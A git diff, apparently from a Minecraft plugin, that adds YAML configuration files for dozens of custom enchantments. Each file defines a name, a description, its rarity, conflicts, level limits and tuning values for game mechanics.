arrow drop. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + +config: + remove-arrow-after-ticks: 80 #to prevent server lag, as arrows shot into the sky will not land. there are 20 ticks in a second. diff --git a/Plugin/src/main/resources/enchants/normal/necrotic.yml b/Plugin/src/main/resources/enchants/normal/necrotic.yml new file mode 100644 index 00000000..317a9d04 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/necrotic.yml @@ -0,0 +1,24 @@ +# +# Necrotic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Necrotic" + +description: Wither skeletons have a higher chance to drop skulls. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: + - looting + maximum-level: 2 + +config: + chance-per-level: 10 #Chance of dropping a wither skull per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/netherinfusion.yml b/Plugin/src/main/resources/enchants/normal/netherinfusion.yml new file mode 100644 index 00000000..5691f76a --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/netherinfusion.yml @@ -0,0 +1,24 @@ +# +# Nether Infusion EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Nether Infusion" + +description: Increases damage dealt in + the nether. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + per-level-multiplier: 0.05 # Multiplier per level for damage. Calculated as damage * (1 + level * multiplier) diff --git a/Plugin/src/main/resources/enchants/normal/nocturnal.yml b/Plugin/src/main/resources/enchants/normal/nocturnal.yml new file mode 100644 index 00000000..3a76067d --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/nocturnal.yml @@ -0,0 +1,23 @@ +# +# Nocturnal EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Nocturnal" + +description: Increases damage dealt at night. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + per-level-multiplier: 0.05 # Multiplier per level for damage. Calculated as damage * (1 + level * multiplier) diff --git a/Plugin/src/main/resources/enchants/normal/optics.yml b/Plugin/src/main/resources/enchants/normal/optics.yml new file mode 100644 index 00000000..eb6e77b3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/optics.yml @@ -0,0 +1,23 @@ +# +# Optics EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Optics" + +description: Increases damage when further from target. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + block-multiplier: 0.002 # Damage multiplier is distance * level * multiplier + 1 eg: 50 blocks with optics 5 and multiplier 0.002 = 50*5*0.002+1 = 1.5x damage diff --git a/Plugin/src/main/resources/enchants/normal/oxygenate.yml b/Plugin/src/main/resources/enchants/normal/oxygenate.yml new file mode 100644 index 00000000..ebd75ebf --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/oxygenate.yml @@ -0,0 +1,23 @@ +# +# Oxygenate EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Oxygenate" + +description: Gain oxygen when breaking blocks underwater. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + oxygen-per-level: 10 # Oxygen ticks to give per level diff --git a/Plugin/src/main/resources/enchants/normal/paladin.yml b/Plugin/src/main/resources/enchants/normal/paladin.yml new file mode 100644 index 00000000..8a7e7891 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/paladin.yml @@ -0,0 +1,23 @@ +# +# Paladin EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Paladin" + +description: Increases damage dealt when riding a horse. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.2 # This number can be relatively high as it is rare for a player to be riding a horse, therefore rewarding that. \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/parasitic.yml b/Plugin/src/main/resources/enchants/normal/parasitic.yml new file mode 100644 index 00000000..ec35a96a --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/parasitic.yml @@ -0,0 +1,23 @@ +# +# Parasitic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Parasitic" + +description: Heals a portion of damage dealt. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.08 # Damage * Level * Multiplier is used to calculate how much health to heal diff --git a/Plugin/src/main/resources/enchants/normal/parry.yml b/Plugin/src/main/resources/enchants/normal/parry.yml new file mode 100644 index 00000000..5f302372 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/parry.yml @@ -0,0 +1,23 @@ +# +# Parry EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Parry" + +description: Reduces incoming damage when holding item. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + damage-multiplier-per-level: 0.05 # 1 - (Level * Multiplier) is multiplied with the damage diff --git a/Plugin/src/main/resources/enchants/normal/protector.yml b/Plugin/src/main/resources/enchants/normal/protector.yml new file mode 100644 index 00000000..5a18cc61 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/protector.yml @@ -0,0 +1,22 @@ +# +# Protector EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Protector" + +description: Prevents damaging your own pets. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + +config: + # No config available for this enchantment \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/proximity.yml b/Plugin/src/main/resources/enchants/normal/proximity.yml new file mode 100644 index 00000000..7170b863 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/proximity.yml @@ -0,0 +1,24 @@ +# +# Proximity EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Proximity" + +description: Increases damage when closer to opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + when-closer-than-blocks: 1.5 + percent-more-per-level: 10 # percent more damage to deal per level when close diff --git a/Plugin/src/main/resources/enchants/normal/puncture.yml b/Plugin/src/main/resources/enchants/normal/puncture.yml new file mode 100644 index 00000000..eb6bec9e --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/puncture.yml @@ -0,0 +1,23 @@ +# +# Puncture EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Puncture" + +description: Trident deals additional damage to shelled mobs. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + percent-more-per-level: 25 # Percent more damage to do per level diff --git a/Plugin/src/main/resources/enchants/normal/radiance.yml b/Plugin/src/main/resources/enchants/normal/radiance.yml new file mode 100644 index 00000000..efbe9901 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/radiance.yml @@ -0,0 +1,24 @@ +# +# Radiance EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Radiance" + +description: Causes entities to glow near where arrow lands. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + radius-multiplier: 3 # Radius Multiplier * level = Radius of which to damage entities + duration-per-level: 15 # Duration (in ticks) to make entity glow for \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/rapid.yml b/Plugin/src/main/resources/enchants/normal/rapid.yml new file mode 100644 index 00000000..815ad140 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/rapid.yml @@ -0,0 +1,23 @@ +# +# Rapid EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Rapid" + +description: Increases bow pull speed. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + percent-faster-per-level: 10 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/reel.yml b/Plugin/src/main/resources/enchants/normal/reel.yml new file mode 100644 index 00000000..c25bb043 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/reel.yml @@ -0,0 +1,23 @@ +# +# Reel EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Reel" + +description: Pulls entities towards you. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + velocity-multiplier: 1.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/reinforcement.yml b/Plugin/src/main/resources/enchants/normal/reinforcement.yml new file mode 100644 index 00000000..d7c1daf0 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/reinforcement.yml @@ -0,0 +1,23 @@ +# +# Reinforcement EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Reinforcement" + +description: Reduces incoming damage. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + reduction-per-level: 2 #Percent less damage taken per level (Protection is 4%) \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/rejuvenation.yml b/Plugin/src/main/resources/enchants/normal/rejuvenation.yml new file mode 100644 index 00000000..8964d896 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/rejuvenation.yml @@ -0,0 +1,23 @@ +# +# Rejuvenation EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Rejuvenation" + +description: Increases natural regeneration speed. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + per-point-multiplier: 0.1 # 8 points * multiplier +1 = 1.8x natural regen \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/replenish.yml b/Plugin/src/main/resources/enchants/normal/replenish.yml new file mode 100644 index 00000000..d84bc22f --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/replenish.yml @@ -0,0 +1,22 @@ +# +# Replenish EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Replenish" + +description: Automatically replants crops. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + +config: + # No config is available for this enchantment \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/sating.yml b/Plugin/src/main/resources/enchants/normal/sating.yml new file mode 100644 index 00000000..b74a0aa0 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/sating.yml @@ -0,0 +1,23 @@ +# +# Sating EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Sating" + +description: Reduces hunger loss. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + chance-per-level: 10 # Chance to "ignore" food loss (in percent) every time you lose food \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/serrated.yml b/Plugin/src/main/resources/enchants/normal/serrated.yml new file mode 100644 index 00000000..193a834b --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/serrated.yml @@ -0,0 +1,28 @@ +# +# Serrated EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Serrated" + +description: Trident deals additional damage. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: + - impaling + - bladed + maximum-level: 5 + +config: + percent-more-base: 25 # Percent more damage to do as base + percent-more-per-level: 25 # Percent more damage to do per level + # To explain, Serrated V would be 150% more damage: 25 + (5*25) + # Default values are taken from the power enchantment diff --git a/Plugin/src/main/resources/enchants/normal/shockwave.yml b/Plugin/src/main/resources/enchants/normal/shockwave.yml new file mode 100644 index 00000000..169b2011 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/shockwave.yml @@ -0,0 +1,23 @@ +# +# Shockwave EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Shockwave" + +description: Damages entities that arrows fly near. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-per-level: 1 diff --git a/Plugin/src/main/resources/enchants/normal/shotassist.yml b/Plugin/src/main/resources/enchants/normal/shotassist.yml new file mode 100644 index 00000000..9311a506 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/shotassist.yml @@ -0,0 +1,23 @@ +# +# Shot Assist EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Shot Assist" + +description: Deal more damage with arrows while wearing. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.03 diff --git a/Plugin/src/main/resources/enchants/normal/slicing.yml b/Plugin/src/main/resources/enchants/normal/slicing.yml new file mode 100644 index 00000000..4b7dde26 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/slicing.yml @@ -0,0 +1,25 @@ +# +# Slicing EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Slicing" + +description: Damages entities when flown through. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + damage-per-level: 0.8 #Damage given to opponent per level + cooldown: 20 #Cooldown in ticks until player can attack another entity with slicing + damage-elytra: true \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/spearfishing.yml b/Plugin/src/main/resources/enchants/normal/spearfishing.yml new file mode 100644 index 00000000..f69c6305 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/spearfishing.yml @@ -0,0 +1,28 @@ +# +# Spearfishing EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Spearfishing" + +description: Chance of dropping fish when tridenting water. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-level: 5 + drops: + - cod + - salmon + - pufferfish + - tropical_fish \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/spiked.yml b/Plugin/src/main/resources/enchants/normal/spiked.yml new file mode 100644 index 00000000..d4495ada --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/spiked.yml @@ -0,0 +1,24 @@ +# +# Spiked EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Spiked" + +description: Hooking onto an entity will damage it. + +obtaining: + table: true + villager: true + loot: true + rarity: common + +general-config: + grindstoneable: true + conflicts: + - harpoon + maximum-level: 3 + +config: + damage-per-level: 1 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/splash.yml b/Plugin/src/main/resources/enchants/normal/splash.yml new file mode 100644 index 00000000..97b38f21 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/splash.yml @@ -0,0 +1,25 @@ +# +# Splash EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Splash" + +description: Damages entities near where trident lands but does not drop experience. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - wisdom + maximum-level: 4 + +config: + radius-multiplier: 2 # Radius Multiplier * level = Radius of which to damage entities + damage-per-level: 1 # Damage to give to nearby entities \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/stab.yml b/Plugin/src/main/resources/enchants/normal/stab.yml new file mode 100644 index 00000000..99f41af3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/stab.yml @@ -0,0 +1,25 @@ +# +# Stab EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Stab" + +description: Increases melee trident damage. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + damage-base: 0.5 # More damage to do as base + damage-per-level: 0.5 # More damage to do per level + # Default values are taken from sharpness diff --git a/Plugin/src/main/resources/enchants/normal/stamina.yml b/Plugin/src/main/resources/enchants/normal/stamina.yml new file mode 100644 index 00000000..53979273 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/stamina.yml @@ -0,0 +1,23 @@ +# +# Stamina EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Stamina" + +description: Decreases hunger loss while sprinting. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-level: 18 # Chance to "ignore" food loss (in percent) every time you lose food while sprinting \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/stoneswitcher.yml b/Plugin/src/main/resources/enchants/normal/stoneswitcher.yml new file mode 100644 index 00000000..d66818eb --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/stoneswitcher.yml @@ -0,0 +1,27 @@ +# +# Stone Switcher EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Stone Switcher" + +description: Breaking stone can drop as variants. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + blocks: + - andesite + - granite + - diorite + chance-per-level: 20 # Chance for drop to be switched diff --git a/Plugin/src/main/resources/enchants/normal/strayaspect.yml b/Plugin/src/main/resources/enchants/normal/strayaspect.yml new file mode 100644 index 00000000..c722e281 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/strayaspect.yml @@ -0,0 +1,24 @@ +# +# Stray Aspect EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Stray Aspect" + +description: Chance of slowing your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + allow-not-fully-charged: false #require sword attack to be at full charge + chance-per-level: 5 #chance of slowness per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/succession.yml b/Plugin/src/main/resources/enchants/normal/succession.yml new file mode 100644 index 00000000..cdafd785 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/succession.yml @@ -0,0 +1,26 @@ +# +# Succession EcoEnchant +# + +config-version: 4.01 # Don't edit this. + +name: "Succession" + +description: Shoots multiple arrows in a burst. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - tripleshot + - pentashot + - buckshot + +config: + extra-arrows: 2 + per-arrow-damage: true #If set to false, then it will only take 1 durability \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/supercritical.yml b/Plugin/src/main/resources/enchants/normal/supercritical.yml new file mode 100644 index 00000000..160d8b2c --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/supercritical.yml @@ -0,0 +1,25 @@ +# +# Supercritical EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Supercritical" + +description: Small chance to deal extreme damage. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier: 3 + allow-not-fully-charged: false + chance-per-level: 0.5 # Chance to deal supercrit per hit \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/sycophant.yml b/Plugin/src/main/resources/enchants/normal/sycophant.yml new file mode 100644 index 00000000..e72f0ff9 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/sycophant.yml @@ -0,0 +1,23 @@ +# +# Sycophant EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Sycophant" + +description: Heals a portion of damage blocked. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + damage-multiplier-per-level: 0.08 # Damage * Level * Multiplier is used to calculate how much health to heal diff --git a/Plugin/src/main/resources/enchants/normal/tectonic.yml b/Plugin/src/main/resources/enchants/normal/tectonic.yml new file mode 100644 index 00000000..a8639272 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/tectonic.yml @@ -0,0 +1,27 @@ +# +# Tectonic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Tectonic" + +description: Damages nearby entities when taking fall damage. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - feather_falling + maximum-level: 2 + +config: + initial-radius: 3 + per-level-radius: 2 + initial-damage: 1 + per-level-damage: 1 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/telekinesis.yml b/Plugin/src/main/resources/enchants/normal/telekinesis.yml new file mode 100644 index 00000000..2cf9f74c --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/telekinesis.yml @@ -0,0 +1,23 @@ +# +# Telekinesis EcoEnchant +# + +config-version: 4.11 # Don't edit this. + +name: "Telekinesis" + +description: Drops and xp go directly into your inventory. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: [] + +config: + use-orb: false # Use experience orb above player to give xp. Use if you need mending interaction. + not-on-players: false # Disallow getting drops from players \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/thor.yml b/Plugin/src/main/resources/enchants/normal/thor.yml new file mode 100644 index 00000000..fa04ac34 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/thor.yml @@ -0,0 +1,25 @@ +# +# Thor EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Thor" + +description: Chance of striking lightning on your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + chance-per-level: 2.5 + allow-not-fully-charged: false # dont require sword attack to be at full charge + lightning-damage: 2.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/thrive.yml b/Plugin/src/main/resources/enchants/normal/thrive.yml new file mode 100644 index 00000000..952cfe94 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/thrive.yml @@ -0,0 +1,24 @@ +# +# Thrive EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Thrive" + +description: Increases maximum health. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - prosperity + maximum-level: 2 + +config: + health-per-point: 1 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/tornado.yml b/Plugin/src/main/resources/enchants/normal/tornado.yml new file mode 100644 index 00000000..8993ddd6 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/tornado.yml @@ -0,0 +1,26 @@ +# +# Tornado EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Tornado" + +description: Knocks your opponent into the air. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - knockback + - grapple + - annihilate + maximum-level: 2 + +config: + velocity-per-level: 0.25 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/toxic.yml b/Plugin/src/main/resources/enchants/normal/toxic.yml new file mode 100644 index 00000000..79ecc5ed --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/toxic.yml @@ -0,0 +1,24 @@ +# +# Toxic EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Toxic" + +description: Chance to apply poison to your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + chance-per-level: 10 #chance of poisoning opponent per level + allow-not-fully-charged: false #dont require sword attack to be at full charge \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/tripleshot.yml b/Plugin/src/main/resources/enchants/normal/tripleshot.yml new file mode 100644 index 00000000..ebd8e16c --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/tripleshot.yml @@ -0,0 +1,25 @@ +# +# Tripleshot EcoEnchant +# + +config-version: 4.01 # Don't edit this. + +name: "Tripleshot" + +description: Shoots 3 arrows. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + conflicts: + - succession + - pentashot + - buckshot + +config: + angle: 11 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/vampireaspect.yml b/Plugin/src/main/resources/enchants/normal/vampireaspect.yml new file mode 100644 index 00000000..f44f7919 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/vampireaspect.yml @@ -0,0 +1,24 @@ +# +# Vampire Aspect EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Vampire Aspect" + +description: Chance to apply wither to your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 2 + +config: + chance-per-level: 10 #chance of withering opponent per level + allow-not-fully-charged: false #dont require sword attack to be at full charge \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/vein.yml b/Plugin/src/main/resources/enchants/normal/vein.yml new file mode 100644 index 00000000..fb01f5d0 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/vein.yml @@ -0,0 +1,38 @@ +# +# Vein EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Vein" + +description: Mine blocks in a vein. + +obtaining: + table: true + villager: true + loot: true + rarity: legendary + +general-config: + grindstoneable: true + maximum-level: 5 + conflicts: + - drill + - blast_mining + +config: + disable-on-sneak: true + blocks-per-level: 8 + whitelisted-blocks: + - coal_ore + - iron_ore + - gold_ore + - ancient_debris + - lapis_ore + - diamond_ore + - redstone_ore + - nether_quartz_ore + - gilded_blackstone + - nether_gold_ore + - glowstone \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/venom.yml b/Plugin/src/main/resources/enchants/normal/venom.yml new file mode 100644 index 00000000..6cfd0dc3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/venom.yml @@ -0,0 +1,23 @@ +# +# Venom EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Venom" + +description: Chance of withering your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 3 + +config: + chance-per-level: 5 #chance of wither per level \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/wateraffinity.yml b/Plugin/src/main/resources/enchants/normal/wateraffinity.yml new file mode 100644 index 00000000..d7394cc8 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/wateraffinity.yml @@ -0,0 +1,24 @@ +# +# Water Affinity EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Water Affinity" + +description: Increases damage dealt when in water. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: + - fire_affinity + maximum-level: 5 + +config: + percent-more-per-level: 5 # percent more damage to deal per level when on fire diff --git a/Plugin/src/main/resources/enchants/normal/wateraspect.yml b/Plugin/src/main/resources/enchants/normal/wateraspect.yml new file mode 100644 index 00000000..7eddd9f3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/wateraspect.yml @@ -0,0 +1,24 @@ +# +# Water Aspect EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Water Aspect" + +description: Increases damage dealt against fiery mobs. + +obtaining: + table: true + villager: true + loot: true + rarity: rare + +general-config: + grindstoneable: true + conflicts: + - fire_aspect + maximum-level: 2 + +config: + multiplier: 0.2 # Damage = level * multiplier + 1. Damage on blaze/magma cube with Water Aspect 2 = 2 * 0.2 + 1 = 1.4x damage \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/weakening.yml b/Plugin/src/main/resources/enchants/normal/weakening.yml new file mode 100644 index 00000000..dc693ac8 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/weakening.yml @@ -0,0 +1,24 @@ +# +# Weakening EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Weakening" + +description: Increases subsequent damage dealt to opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 4 + +config: + ticks-per-level: 5 # Ticks to weaken player for per level + multiplier-while-weak: 1.5 # Times more damage to deal while weakened diff --git a/Plugin/src/main/resources/enchants/normal/wisdom.yml b/Plugin/src/main/resources/enchants/normal/wisdom.yml new file mode 100644 index 00000000..39b04f7d --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/wisdom.yml @@ -0,0 +1,25 @@ +# +# Wisdom EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Wisdom" + +description: Increases dropped experience. + +obtaining: + table: true + villager: true + loot: true + rarity: uncommon + +general-config: + grindstoneable: true + conflicts: + - splash + - intellect + maximum-level: 3 + +config: + bonus-per-point: 0.2 #Increase per level relative to base \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/normal/zeus.yml b/Plugin/src/main/resources/enchants/normal/zeus.yml new file mode 100644 index 00000000..a2566d57 --- /dev/null +++ b/Plugin/src/main/resources/enchants/normal/zeus.yml @@ -0,0 +1,24 @@ +# +# Zeus EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Zeus" + +description: Chance to strike lightning on your opponent. + +obtaining: + table: true + villager: true + loot: true + rarity: epic + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + chance-per-level: 1 + lightning-damage: 2.5 \ No newline at end of file diff --git a/Plugin/src/main/resources/enchants/special/aiming.yml b/Plugin/src/main/resources/enchants/special/aiming.yml new file mode 100644 index 00000000..b7369de3 --- /dev/null +++ b/Plugin/src/main/resources/enchants/special/aiming.yml @@ -0,0 +1,25 @@ +# +# Aiming EcoEnchant +# + +config-version: 4.0 # Don't edit this. + +name: "Aiming" + +description: Arrows hone in on your target. + +obtaining: + table: true + villager: true + loot: true + rarity: special + +general-config: + grindstoneable: true + conflicts: [] + maximum-level: 5 + +config: + distance-per-level: 4 # Distance to scan per aiming level + scale-on-force: true # Scale distance based on bow pull + require-full-force: true # Require full bow pull (works with rapid) If true, then scale-on-force is irrelevant. 